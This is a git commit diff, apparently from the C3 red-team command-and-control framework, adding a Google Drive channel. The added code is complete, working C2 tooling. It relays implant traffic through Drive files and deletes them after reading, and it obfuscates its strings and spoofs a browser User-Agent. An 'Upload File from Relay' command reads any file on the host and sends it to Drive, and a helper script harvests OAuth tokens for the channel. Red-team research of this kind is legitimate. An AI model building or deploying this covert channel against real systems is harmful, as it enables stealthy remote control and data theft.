Merge GoogleDrive

master
Alfie Champion 2020-08-17 12:59:33 +02:00 committed by Pawel Kurowski
parent 1a69856b89
commit e77be2b09b
7 changed files with 591 additions and 2 deletions

View File

@ -0,0 +1,27 @@
from __future__ import print_function
import os.path
from google_auth_oauthlib.flow import InstalledAppFlow
from pprint import pprint
# Adapted from
# https://developers.google.com/drive/api/v3/quickstart/python
# Steps
# 1 - Login to Google Account
# 2 - Visit the above link and click the 'Enable the Drive API' button
# 3 - Download the credentials.json file and place it in the same dir as this script
# 4 - Execute this script and accept the access requests in your default browser
# 5 - Copy the _client_id, _client_secret and _refresh_token from the dict output
# 6 - Use those values for C3
SCOPES = ['https://www.googleapis.com/auth/drive']
def main():
flow = InstalledAppFlow.from_client_secrets_file(
'credentials.json', SCOPES)
creds = flow.run_local_server(port=0)
pprint(creds.__dict__)
if __name__ == '__main__':
main()

View File

@ -14,6 +14,7 @@
<ProjectCapability Include="SourceItemsFromImports" /> <ProjectCapability Include="SourceItemsFromImports" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\GoogleDrive.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\OneDrive365RestFile.cpp" /> <ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\OneDrive365RestFile.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Outlook365RestTask.cpp" /> <ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Outlook365RestTask.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\AsanaApi\AsanaApi.cpp" /> <ClCompile Include="$(MSBuildThisFileDirectory)FSecure\AsanaApi\AsanaApi.cpp" />
@ -35,6 +36,7 @@
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Crypto\Sodium.cpp" /> <ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Crypto\Sodium.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Crypto\String.cpp" /> <ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Crypto\String.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Dropbox\DropboxApi.cpp" /> <ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Dropbox\DropboxApi.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\GoogleDrive\GoogleDriveApi.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Slack\SlackApi.cpp" /> <ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Slack\SlackApi.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Sockets\AddrInfo.cpp" /> <ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Sockets\AddrInfo.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Sockets\DuplexConnection.cpp" /> <ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Sockets\DuplexConnection.cpp" />
@ -57,6 +59,7 @@
<ClInclude Include="$(MSBuildThisFileDirectory)CppCodec\base32_default_crockford.hpp" /> <ClInclude Include="$(MSBuildThisFileDirectory)CppCodec\base32_default_crockford.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)CppCodec\base64_default_rfc4648.hpp" /> <ClInclude Include="$(MSBuildThisFileDirectory)CppCodec\base64_default_rfc4648.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)CppRestSdk\include\cpprest\http_client.h" /> <ClInclude Include="$(MSBuildThisFileDirectory)CppRestSdk\include\cpprest\http_client.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\GoogleDrive.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Office365.h" /> <ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Office365.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\OneDrive365RestFile.h" /> <ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\OneDrive365RestFile.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Outlook365RestTask.h" /> <ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Outlook365RestTask.h" />
@ -68,6 +71,7 @@
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\ByteConverter\ByteView.h" /> <ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\ByteConverter\ByteView.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\ByteConverter\Utils.h" /> <ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\ByteConverter\Utils.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\StringConversions.h" /> <ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\StringConversions.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\GoogleDrive\GoogleDriveApi.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Sql\Sql.hpp" /> <ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Sql\Sql.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Crypto\String.h" /> <ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Crypto\String.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Dropbox\DropboxApi.h" /> <ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Dropbox\DropboxApi.h" />

View File

@ -36,6 +36,8 @@
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Asana.cpp" /> <ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Asana.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\DropBox.cpp" /> <ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\DropBox.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Dropbox\DropboxApi.cpp" /> <ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Dropbox\DropboxApi.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\GoogleDrive\GoogleDriveApi.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\GoogleDrive.cpp" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ClInclude Include="$(MSBuildThisFileDirectory)CppCodec\base32_default_crockford.hpp" /> <ClInclude Include="$(MSBuildThisFileDirectory)CppCodec\base32_default_crockford.hpp" />
@ -121,5 +123,7 @@
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Asana.h" /> <ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Asana.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\DropBox.h" /> <ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\DropBox.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Dropbox\DropboxApi.h" /> <ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Dropbox\DropboxApi.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\GoogleDrive\GoogleDriveApi.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\GoogleDrive.h" />
</ItemGroup> </ItemGroup>
</Project> </Project>

View File

@ -0,0 +1,149 @@
#include "Stdafx.h"
#include "GoogleDrive.h"
#include "Common/FSecure/Crypto/Base64.h"
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
FSecure::C3::Interfaces::Channels::GoogleDrive::GoogleDrive(ByteView arguments)
: m_inboundDirectionName{ arguments.Read<std::string>() }
, m_outboundDirectionName{ arguments.Read<std::string>() }
{
auto [userAgent, ClientId, ClientSecret, RefreshToken, channelName] = arguments.Read<std::string, std::string, std::string, std::string, std::string>();
m_googledriveObj = FSecure::GoogleDrive{ userAgent, ClientId, ClientSecret, RefreshToken, channelName };
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
size_t FSecure::C3::Interfaces::Channels::GoogleDrive::OnSendToChannel(ByteView data)
{
// There is a cap on uploads of files >5mb at which point different APIs are required.
data = data.SubString(0, 5 * 1024 * 1024);
m_googledriveObj.WriteMessageToFile(m_outboundDirectionName, data);
return data.size();
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
std::vector<FSecure::ByteVector> FSecure::C3::Interfaces::Channels::GoogleDrive::OnReceiveFromChannel()
{
std::vector<ByteVector> ret;
for (auto& [ts, id] : m_googledriveObj.GetMessagesByDirection(m_inboundDirectionName))
{
ret.push_back(m_googledriveObj.ReadFile(id));
m_googledriveObj.DeleteFile(id);
}
return ret;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
FSecure::ByteVector FSecure::C3::Interfaces::Channels::GoogleDrive::OnRunCommand(ByteView command)
{
auto commandCopy = command; //each read moves ByteView. CommandCopy is needed for default.
switch (command.Read<uint16_t>())
{
case 0:
UploadFile(command);
return {};
case 1:
DeleteAllFiles();
return {};
default:
return AbstractChannel::OnRunCommand(commandCopy);
}
}
void FSecure::C3::Interfaces::Channels::GoogleDrive::UploadFile(ByteView args)
{
m_googledriveObj.UploadFile(args.Read<std::string>());
}
void FSecure::C3::Interfaces::Channels::GoogleDrive::DeleteAllFiles()
{
m_googledriveObj.DeleteAllFiles();
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
const char* FSecure::C3::Interfaces::Channels::GoogleDrive::GetCapability()
{
return R"_(
{
"create":
{
"arguments":
[
[
{
"type": "string",
"name": "Input ID",
"min": 4,
"randomize": true,
"description": "Used to distinguish packets for the channel"
},
{
"type": "string",
"name": "Output ID",
"min": 4,
"randomize": true,
"description": "Used to distinguish packets from the channel"
}
],
{
"type": "string",
"name": "User-Agent Header",
"min": 1,
"defaultValue": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36",
"description": "The User-Agent header to set"
},
{
"type": "string",
"name": "Client ID",
"min": 1,
"description": "Client ID for GoogleDrive's API"
},
{
"type": "string",
"name": "Client Secret",
"min": 1,
"description": "Client Secret for GoogleDrive's API"
},
{
"type": "string",
"name": "Refresh token",
"min": 1,
"description": "This token is used to retrieve an access token for GoogleDrive's API"
},
{
"type": "string",
"name": "Folder name",
"min": 4,
"randomize": true,
"description": "Folder to create for channel"
}
]
},
"commands":
[
{
"name": "Upload File from Relay",
"id": 0,
"description": "Upload file from host running Relay directly to GoogleDrive (150mb max.)",
"arguments":
[
{
"type" : "string",
"name": "Remote Filepath",
"description" : "Path to upload."
}
]
},
{
"name": "Remove All Files",
"id": 1,
"description": "Delete channel folder and all files within it.",
"arguments": []
}
]
}
)_";
}

View File

@ -0,0 +1,56 @@
#pragma once
#include "Common/FSecure/GoogleDrive/GoogleDriveApi.h"
namespace FSecure::C3::Interfaces::Channels
{
///Implementation of the Google Drive Channel.
struct GoogleDrive : public Channel<GoogleDrive>
{
/// Public constructor.
/// @param arguments factory arguments.
GoogleDrive(ByteView arguments);
/// Destructor
virtual ~GoogleDrive() = default;
/// OnSend callback implementation.
/// @param packet data to send to Channel.
/// @returns size_t number of bytes successfully written.
size_t OnSendToChannel(ByteView packet);
/// Reads a single C3 packet from Channel.
/// @return packet retrieved from Channel.
std::vector<ByteVector> OnReceiveFromChannel();
/// Get channel capability.
/// @returns Channel capability in JSON format
static const char* GetCapability();
/// Values used as default for channel jitter. 30 ms if unset. Current jitter value can be changed at runtime.
/// Set long delay otherwise Google Drive rate limit will heavily impact channel.
constexpr static std::chrono::milliseconds s_MinUpdateDelay = 3500ms, s_MaxUpdateDelay = 6500ms;
/// Processes internal (C3 API) Command.
/// @param command a buffer containing whole command and it's parameters.
/// @return command result.
ByteVector OnRunCommand(ByteView command) override;
protected:
/// The inbound direction name of data
std::string m_inboundDirectionName;
/// The outbound direction name, the opposite of m_inboundDirectionName
std::string m_outboundDirectionName;
/// Uploads file.
/// @param path to file to be uploaded.
void UploadFile(ByteView args);
/// Delete all files relating to the channel.
void DeleteAllFiles();
private:
/// An object encapsulating Google Drive's API, providing methods allowing the consumer to upload and download files from GoogleDrive, among other things.
FSecure::GoogleDrive m_googledriveObj;
};
}

View File

@ -0,0 +1,246 @@
#include "stdafx.h"
#include "GoogleDriveApi.h"
#include "Common/FSecure/CppTools/StringConversions.h"
#include "Common/FSecure/WinHttp/HttpClient.h"
#include "Common/FSecure/WinHttp/Constants.h"
#include "Common/FSecure/WinHttp/Uri.h"
#include <random>
#include <cctype>
#include <algorithm>
#include <fstream>
using namespace FSecure::StringConversions;
using namespace FSecure::WinHttp;
namespace
{
std::wstring ToWideString(std::string const& str)
{
return Convert<Utf16>(str);
}
}
FSecure::GoogleDrive::GoogleDrive(std::string const& userAgent, std::string const& client_id, std::string const& client_secret, std::string const& refresh_token, std::string const& channelName)
{
if (auto winProxy = WinTools::GetProxyConfiguration(); !winProxy.empty())
this->m_ProxyConfig = (winProxy == OBF(L"auto")) ? WebProxy(WebProxy::Mode::UseAutoDiscovery) : WebProxy(winProxy);
this->m_clientId = client_id;
this->m_clientSecret = client_secret;
this->m_refreshToken = refresh_token;
this->m_UserAgent = userAgent;
RefreshAccessToken();
SetChannel(CreateChannel(Convert<Lowercase>(channelName)));
}
void FSecure::GoogleDrive::SetChannel(std::string const& channelId)
{
this->m_Channel = channelId;
}
void FSecure::GoogleDrive::RefreshAccessToken()
{
std::string url = OBF_STR("https://oauth2.googleapis.com/token");
HttpClient webClient(ToWideString(url), m_ProxyConfig);
std::string toSend = OBF("client_id=") + this->m_clientId;
toSend += OBF("&client_secret=") + this->m_clientSecret;
toSend += OBF("&refresh_token=") + this->m_refreshToken;
toSend += OBF("&grant_type=refresh_token");
toSend += OBF("&access_type=offline");
std::vector<uint8_t> body = { toSend.begin(), toSend.end() };
auto resp = webClient.Request(CreateHttpRequest(Method::POST, url, GetContentType(ContentType::ApplicationXWwwFormUrlencoded), body, false));
if (resp.GetStatusCode() != StatusCode::OK)
throw std::runtime_error(OBF("[x] Failed to retrieve access token.\n"));
SetToken(json::parse(resp.GetData())[OBF("access_token")]);
}
void FSecure::GoogleDrive::SetToken(std::string const& token)
{
this->m_accessToken = token;
}
void FSecure::GoogleDrive::WriteMessageToFile(std::string const& direction, ByteView data, std::string const& providedFilename)
{
std::string url = OBF_STR("https://www.googleapis.com/upload/drive/v3/files?uploadType=multipart");
std::string filename;
if (providedFilename.empty())
{
///Create a filename thats prefixed with message direction and suffixed
// with more granular timestamp for querying later
std::string ts = std::to_string(FSecure::Utils::TimeSinceEpoch());
filename = direction + OBF("-") + FSecure::Utils::GenerateRandomString(10) + OBF("-") + ts;
}
else
filename = providedFilename;
json j;
j[OBF("name")] = filename;
j[OBF("mimeType")] = OBF("application/octet-stream");
j[OBF("parents")] = { this->m_Channel };
// Generating body
std::string boundary = OBF("------WebKitFormBoundary") + Utils::GenerateRandomString(16); // Mimicking WebKit, generate random boundary string
// Building the multipart body (prefix + attachment + suffix)
std::vector<uint8_t> body;
std::string bodyPrefix = OBF("\r\n");
bodyPrefix += OBF("--") + boundary + OBF("\r\n");
bodyPrefix += OBF("Content-Type: application/json; charset=UTF-8\r\n\r\n");
bodyPrefix += j.dump();
bodyPrefix += OBF("\r\n\r\n");
bodyPrefix += OBF("--") + boundary + OBF("\r\n");
bodyPrefix += OBF("Content-Disposition: form-data; name=\"") + filename + OBF("\"") + OBF("\r\n");
bodyPrefix += OBF("Content-Type: application/octet-stream\r\n\r\n");
body.insert(body.begin(), bodyPrefix.begin(), bodyPrefix.end()); // Insert the prefix
body.insert(body.end(), data.begin(), data.end()); // Insert the attachment content
std::string bodySuffix = OBF("\r\n");
bodySuffix += OBF("--") + boundary + OBF("--") + OBF("\r\n");
body.insert(body.end(), bodySuffix.begin(), bodySuffix.end()); // Insert the suffix
std::string contentType = OBF("multipart/form-data; boundary=") + boundary;
SendHttpRequest(Method::POST, url, ToWideString(contentType), body);
}
void FSecure::GoogleDrive::UploadFile(std::string const& path)
{
std::filesystem::path filepathForUpload = path;
auto readFile = std::ifstream(filepathForUpload, std::ios::binary);
ByteVector packet = ByteVector{ std::istreambuf_iterator<char>{readFile}, {} };
readFile.close();
std::string ts = std::to_string(FSecure::Utils::TimeSinceEpoch());
std::string fn = filepathForUpload.filename().string(); // retain same file name and file extension for convenience.
std::string filename = OBF("upload-") + FSecure::Utils::GenerateRandomString(10) + OBF("-") + ts + OBF("-") + fn;
WriteMessageToFile("", packet, filename);
}
void FSecure::GoogleDrive::DeleteAllFiles()
{
DeleteFile(this->m_Channel);
}
std::map<std::string, std::string> FSecure::GoogleDrive::ListChannels()
{
std::map<std::string, std::string> channelMap;
std::string url = OBF("https://www.googleapis.com/drive/v3/files?q=mimeType%20%3D%20%27application%2Fvnd.google-apps.folder%27");
json response = json::parse(SendHttpRequest(Method::GET, url));
for (auto& channel : response[OBF("files")])
{
std::string item_type = channel[OBF("mimeType")];
if (item_type == OBF("application/vnd.google-apps.folder"))
channelMap.emplace(channel[OBF("name")], channel[OBF("id")]);
}
return channelMap;
}
std::string FSecure::GoogleDrive::CreateChannel(std::string const& channelName)
{
std::map<std::string, std::string> channels = this->ListChannels();
if (channels.find(channelName) == channels.end())
{
std::string url = OBF("https://www.googleapis.com/drive/v3/files");
json j;
j[OBF("name")] = channelName;
j[OBF("mimeType")] = OBF("application/vnd.google-apps.folder");
json response = SendJsonRequest(Method::POST, url, j);
std::string channelCreated = response[OBF("name")];
if (channelCreated != channelName)
throw std::runtime_error(OBF("Throwing exception: unable to create channel\n"));
else
return response[OBF("id")];
}
return channels[channelName];
}
std::map<std::string, std::string> FSecure::GoogleDrive::GetMessagesByDirection(std::string const& direction)
{
std::map<std::string, std::string> messages;
json response;
std::string cursor;
std::string url = OBF("https://www.googleapis.com/drive/v3/files?q=mimeType%20=%20%27application/octet-stream%27%20and%20name%20contains%20%27") + direction + OBF("%27&fields=files(id,mimeType,name,parents,createdTime)");
response = json::parse(SendHttpRequest(Method::GET, url));
for (auto& match : response[OBF("files")])
{
messages.insert({ match[OBF("createdTime")].get<std::string>(), match[OBF("id")].get<std::string>() });
}
return messages;
}
FSecure::ByteVector FSecure::GoogleDrive::ReadFile(std::string const& id)
{
std::string url = OBF_STR("https://www.googleapis.com/drive/v3/files/") + id + OBF("?alt=media");
return SendHttpRequest(Method::GET, url);
}
void FSecure::GoogleDrive::DeleteFile(std::string const& id)
{
std::string url = OBF("https://www.googleapis.com/drive/v3/files/") + id;
SendHttpRequest(Method::DEL, url);
}
FSecure::ByteVector FSecure::GoogleDrive::SendHttpRequest(FSecure::WinHttp::Method method, std::string const& host, std::wstring const& contentType, std::vector<uint8_t> data, bool setAuthorizationHeader)
{
HttpClient webClient(ToWideString(host), m_ProxyConfig);
HttpRequest request = CreateHttpRequest(method, host, contentType, data, setAuthorizationHeader);
while (true)
{
auto resp = webClient.Request(request);
if (resp.GetStatusCode() == StatusCode::OK)
return resp.GetData();
else if (resp.GetStatusCode() == StatusCode::NoContent)
return {};
else if (resp.GetStatusCode() == StatusCode::TooManyRequests)
std::this_thread::sleep_for(Utils::GenerateRandomValue(10s, 20s));
else if (resp.GetStatusCode() == StatusCode::Unauthorized)
RefreshAccessToken();
else
throw std::runtime_error(OBF("[x] Non 200/429 HTTP Response\n"));
}
}
FSecure::WinHttp::HttpRequest FSecure::GoogleDrive::CreateHttpRequest(FSecure::WinHttp::Method method, std::string const& host, std::wstring const& contentType, std::vector<uint8_t> data, bool setAuthorizationHeader)
{
HttpRequest request; // default request is GET
request.m_Method = method;
request.SetTimeout({}, {}, 0ms, 0ms);
if (!contentType.empty() && !data.empty())
{
request.SetData(contentType, data);
}
if (setAuthorizationHeader)
request.SetHeader(Header::Authorization, OBF(L"Bearer ") + ToWideString(this->m_accessToken));
request.SetHeader(Header::UserAgent, ToWideString(this->m_UserAgent));
return request;
}
json FSecure::GoogleDrive::SendJsonRequest(FSecure::WinHttp::Method method, std::string const& url, json const& data)
{
std::string jsonDump = data.dump();
return json::parse(SendHttpRequest(method, url, GetContentType(ContentType::ApplicationJson), { jsonDump.begin(), jsonDump.end() }));
}

View File

@ -0,0 +1,103 @@
#pragma once
#include "Common/json/json.hpp"
#include "Common/FSecure/WinHttp/HttpClient.h"
#include "Common/FSecure/WinHttp/WebProxy.h"
#include "Common/FSecure/WinHttp/Constants.h"
using json = nlohmann::json; //for easy parsing of json API: https://github.com/nlohmann/json
namespace FSecure
{
class GoogleDrive
{
public:
/// Constructor for the GoogleDrive Api class. See quickstart.py for retrieving these values
/// @param client_id - App url
/// @param client_secret - Client secret
/// @param refresh_token - the Outh refresh token for producing new access tokens
/// @param proxyString - the proxy to use
GoogleDrive(std::string const& userAgent, std::string const& client_id, std::string const& client_secret, std::string const& refresh_token, std::string const& channelName);
/// Default constructor.
GoogleDrive() = default;
/// Write a message as the contents of a file and upload to Google Drive.
/// @param direction - the name of the file to upload
/// @param data - the text of the message
/// @param filename - optional custom filename for uploaded file
void WriteMessageToFile(std::string const& direction = "", ByteView data = {}, std::string const& providedFilename = "");
/// Upload a file in its entirety to Google Drive.
/// @param path - path to file for upload
void UploadFile(std::string const& path);
/// Delete channel folder and all files within
void DeleteAllFiles();
/// Set the channel (i.e. Google Drive folder) that this object uses for communications
/// @param channelId - the channel Id (not name).
void SetChannel(std::string const& channelId);
/// Refresh the access token for this object.
void RefreshAccessToken();
/// set the access token for this object.
/// @param token - the textual api token.
void SetToken(std::string const& token);
/// Will list the created folders in Google Drive and if already preset return the channel name. If not already created,
/// creates a new folder on Google Drive.
/// @param channelName - the actual name of the folder to create, such as "files".
/// @return - the channel name of the new or already existing channel.
std::string CreateChannel(std::string const& channelName);
/// List all the folders in the workspace the object's token is tied to.
/// @return - a map of {channelName -> channelId}
std::map<std::string, std::string> ListChannels();
/// Get all of the files representing messages by a direction. This is a C3 specific method, used by a server relay to get client messages and vice versa.
/// @param direction - the direction to search for (eg. "S2C").
/// @return - a map of timestamp and file id, where id allows replies to be read later
std::map<std::string, std::string> GetMessagesByDirection(std::string const& direction);
/// Download file by its Google Drive resource id.
/// @param id - id of file.
/// @return - string of file content
FSecure::ByteVector ReadFile(std::string const& id);
/// Delete a file
/// @param id - the id of the file on Google Drive.
void DeleteFile(std::string const& id);
private:
/// The channel (i.e. folder) through which messages are sent and received, will be sent when the object is created.
std::string m_Channel;
/// The necessary parameters to retrieve access tokens for continued use. Needs to be manually created as described in documentation.
std::string m_clientId;
std::string m_clientSecret;
std::string m_accessToken;
std::string m_refreshToken;
/// Hold proxy settings
WinHttp::WebProxy m_ProxyConfig;
/// Create and send http request, uses preset token for authentication
FSecure::ByteVector SendHttpRequest(FSecure::WinHttp::Method method, std::string const& host, std::wstring const& contentType = {}, std::vector<uint8_t> data = {}, bool setAuthorizationHeader = true);
/// Create initial request
FSecure::WinHttp::HttpRequest CreateHttpRequest(FSecure::WinHttp::Method method, std::string const& host, std::wstring const& contentType = {}, std::vector<uint8_t> data = {}, bool setAuthorizationHeader = true);
/// Send http request with json data, uses preset token for authentication
json SendJsonRequest(FSecure::WinHttp::Method method, std::string const& url, json const& data);
/// The user agent header value.
std::string m_UserAgent;
};
}